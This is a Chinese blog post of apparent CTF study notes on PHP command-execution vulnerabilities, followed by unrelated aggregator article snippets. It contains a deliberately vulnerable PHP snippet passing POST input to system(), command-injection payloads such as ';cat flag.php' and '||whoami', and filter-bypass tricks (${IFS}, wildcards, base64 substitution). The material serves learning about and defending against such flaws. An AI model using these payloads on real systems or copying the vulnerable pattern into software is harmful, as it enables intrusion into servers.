php代码执行--可能漏洞点

目录

php代码执行

找不到包?

get包改post包

自定义函数

危险函数

php的命令执行(Linux命令执行)

php执行系统命令6种函数:

php命令执行利用

参数值可控:

整体可控:

变量拼接绕过关键字

符号过滤

过滤空格

字符串截取 空格


随记...杂

php代码执行


hackbar插件

信息泄露


php手册

phpstudy

<?php
$a=$_get['a'];
echo $a;
​
​
?>
//  <>外正常显示:
echo '123456';
​
​

hackbar

post请求,

找不到包?

用那个插件,删去localhost, 访问时访问自己的内网地址.

get包改post包

右键change.

windows本机的服务 telnet.

不能同时发get和post的包. 包!!!


自定义函数

add函数,做拼接.

<?php
function add($a,$b){retunrn $a+$b;
}
$a=$_POST['a'];
$b=$_POST['b'];
$c=add($a,$b);
echo $c;
​
​
?>

危险函数

system函数

<?php
$cmd=$_POST['cmd'];
system($cmd);
?>//cmd=calc


php的命令执行(Linux命令执行)


远程命令执行 RCE

命令执行/代码执行

php执行系统命令6种函数:

system

passthru

exec

shell_exec

popen

pcntl_exec

执行运算符 `

windows---

calc bat vbs

Linux----

cat cp nc

--命令--黑窗口!!!


php命令执行利用

dir=;cat flag.php

ping -c 1 www.baidu.com
​

命令可控

​ 参数

​ 参数值

​ 整体

​ --首先判断可控的位置,然后针对绕过.

参数值可控:

要url编码
&&  并列执行.
||  一个成功就结束.(短路)
;   先执行完前一条命令.
&&tac flag.php

tac flag.php|| whoami

整体可控:

整体可控:
​
1-黑名单过滤
ccatat  双写
*   (通配符)
mv *.txt ./tmp
?   (占位符)
a?c.txt 
x?d.txt
​
cmd=tac f*.php||ls
​
tac 是倒着一行一行读.

cat 1.txt
cat `echo '1.txt'`
​
echo '1.txt'|base64
cat `echo '编码值'|base -d`
​
​
​

url编码注意什么时候用

变量拼接绕过关键字

符号过滤

过滤空格
tac<>flag
​
${IFS}
$IFS$9
​
bash--> {cmd,args}
​
%09 %0b %0c
​
​
tac1fla?.php
1-128   bp快速爆破空格
%   两位数字    (url编码)
​
字符串截取 空格
cmd=env     读取环境变量
​
tac fla*
tac${:12:1}fla*
​
​
--拿取环境变量的空格去补
​
​
​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/839219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于深度学习OCR文本识别

第一步&#xff1a;概要 基于深度学习OCR文本识别分为两个模块&#xff1a;DBNet和CRNN。 DBNet是基于分割的文本检测算法&#xff0c;算法将可微分二值化模块(Differentiable Binarization)引入了分割模型&#xff0c;使得模型能够通过自适应的阈值图进行二值化&#xff0c;并…

什么是IDE?IDE和compiler的区别?

编译器&#xff08;Compiler&#xff09;和集成开发环境&#xff08;Integrated Development Environment&#xff0c;IDE&#xff09;不是一回事&#xff0c;它们是两个不同的概念&#xff0c;但通常在软件开发中会一起使用。 编译器&#xff1a;编译器是一种将源代码转换为目…

php发送短信功能(创蓝短信)

一、以下是创蓝发送短信的功能&#xff0c;可以直接执行&#xff1a; <?php$phone 12312312312;$msg 测试短信功能;echo 发送手机号&#xff1a;.$phone.<br/>;echo 发送内容&#xff1a;.$msg.<br/>;$send sendMessage($phone, $msg);var_dump($send);…

HQL面试题练习 —— 品牌营销活动天数

题目来源&#xff1a;小红书 目录 1 题目2 建表语句3 题解 1 题目 有营销活动记录表&#xff0c;记录了每个品牌每次营销活动的开始日期和营销活动的结束日期&#xff0c;现需要统计出每个品牌的总营销天数。 注意&#xff1a; 1:苹果第一行数据的营销结束日期比第二行数据的营…

ros学习之路径规划

一、全局路径规划中的地图 1、栅格地图&#xff08;Grid Map&#xff09;2、概率图&#xff08;Cost Map&#xff09;3、特征地图&#xff08;Feature Map4、拓扑地图&#xff08;Topological Map&#xff09; 二、全局路径规划算法 1、Dijkstra 算法 2、最佳路径优先搜索算…

Vue过渡动画

文章目录 Vue过渡动画1 css定义的动画Vue实现2 纯Vue实现3 利用第三方库实现过渡动画 Animate Vue过渡动画 作用&#xff1a;在插入、更新或移除 DOM元素时&#xff0c;在合适的时候给元素添加样式类名。 写法&#xff1a; 准备好样式&#xff1a; 元素进入的样式&#xff1a;…

sam代码简析

Segment Anything&#xff1a;建立了迄今为止最大的分割数据集&#xff0c;在1100万张图像上有超过1亿个掩码&#xff0c;模型的设计和训练是灵活的&#xff0c;其重要的特点是Zero-shot(零样本迁移性)转移到新的图像分布和任务&#xff0c;一个图像分割新的任务、模型和数据集…

记录centos中操作(查找、结束、批量)进程以及crontab定时写法的知识

环境&#xff1a;vps&#xff0c;centos7&#xff0c;python3。 近期写了个python程序&#xff0c;用青龙面板在centos上运行。程序中有while无限循环&#xff0c;但是我在青龙中设置了定时任务&#xff08;每隔半小时运行一次&#xff09;&#xff0c;于是造成了进程中有多个…

Java进阶16 单元测试XML注解

Java进阶16 一、单元测试 单元测试就是针对最小的功能单元编写测试代码&#xff0c;Java程序最小的功能单元是方法&#xff0c;因此&#xff0c;单原测试就是针对Java方法的测试&#xff0c;进而检查方法的正确性。简单理解就是测试代码的工具。 1、Junit 1.1 Junit引入 目…

全面了解CC攻击和防范策略

前言 “ CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽&#xff0c;一直到宕机崩溃。” 什么是CC攻击&#xff1f; CC攻击前身是一个名为Fatboy的攻击程序&#xff0c;而之所以后来人们会称之为CC&#xff0c;也叫HTTP-FLOOD&#xff…

程序语言基础知识

文章目录 1.程序设计语言2. 程序设计语言的特点和分类3. 编译程序&#xff08;编译器&#xff09;的工作原理4. 程序语言的数据成分4.1 数据成分4.2 运算成分4.3 控制成分4.4 传输成分 1.程序设计语言 低级语言&#xff1a;机器语言和汇编语言。 机器语言&#xff1a;二进制代…

itext5生成pdf demo应用

引入依赖 <dependencies><dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>2.0.24</version> <!-- 或者使用最新的版本 --></dependency><dependency><groupI…

Java面向对象-常用类 (包装类)

常用类 – 包装类 基本数据类型的包装类 理解&#xff1a;包装类是8种基本数据类型对应的类 出现原因&#xff1a;Java是一种纯面向对象语言&#xff0c;但是java中有8种基本数据类型&#xff0c;破坏了java为纯面向对象的特征。为了承诺在java中一切皆对象&#xff0c;java…

Spring Boot 如何集成 MyBatis 进行数据库访问?

大家好&#xff0c;我是磊磊落落&#xff0c;目前我在技术上主要关注&#xff1a;Java、Golang、架构设计、云原生和自动化测试。欢迎来我的博客&#xff08;leileiluoluo.com&#xff09;获取我的最近更新&#xff01; 本文原始链接&#xff1a;https://leileiluoluo.com/post…

c/c++ 判断质数(素数)

目录 一.常规方法 二.进阶方法 三.代码示例&#xff08;运用进阶方法&#xff09; 质数是整数且仅能被自身和1整除 一.常规方法 所以我们根据质数的这个定义便可用以下思路判断&#xff1a;设需要检测的数为x。y为除1和自己的除数 逐步检测x是否可被y整除&#xff0c;如x…

Stable Diffusion详解

Stable Diffusion详解 一、Stable Diffusion简介 Stable Diffusion是一种生成对抗网络&#xff08;GAN&#xff09;的变体&#xff0c;专注于高质量图像生成。它利用扩散过程和去噪技术逐步生成图像&#xff0c;并且在各类图像生成任务中表现出色。本文将详细介绍Stable Diff…

MySQL之架构设计与历史(一)

架构设计与历史 概述 和其他数据库系统相比&#xff0c;MySQL有点与众不同&#xff0c;它的架构可以在多种不同场景中应用并发挥好的作用&#xff0c;但同时也会带来一点选择上的困难。MySQL并不完美&#xff0c;却足够灵活&#xff0c;能够适应高要求的环境&#xff0c;例如…

笔记:前端知识梳理

一、JavaScript ECMAScript&#xff1a;脚本语言的标准&#xff0c;不同版本的标准称为ESx&#xff0c;如&#xff1a;ES5、ES6。 JavaScript&#xff1a;对ES标准的一种实现&#xff0c;ES标准的其他实现还有JScript。 JavaScript引擎&#xff1a;让JavaScript能够在目标机器…

Android 逆向学习【1】——版本/体系结构/代码学习

#Android 历史版本 参考链接&#xff1a;一篇文章让你了解Android各个版本的历程 - 知乎 (zhihu.com) 三个部分&#xff1a;api等级、版本号、代号&#xff08;这三个东西都是指的同一个系统&#xff09; API等级&#xff1a;在APP开发的时候写在清单列表里面的 版本号&…

Vitis HLS 学习笔记--控制驱动TLP - Dataflow视图

目录 1. 简介 2. 功能特性 2.1 Dataflow Viewer 的功能 2.2 Dataflow 和 Pipeline 的区别 3. 具体演示 4. 总结 1. 简介 Dataflow视图&#xff0c;即数据流查看器。 DATAFLOW优化属于一种动态优化过程&#xff0c;其完整性依赖于与RTL协同仿真的完成。因此&#xff0c;…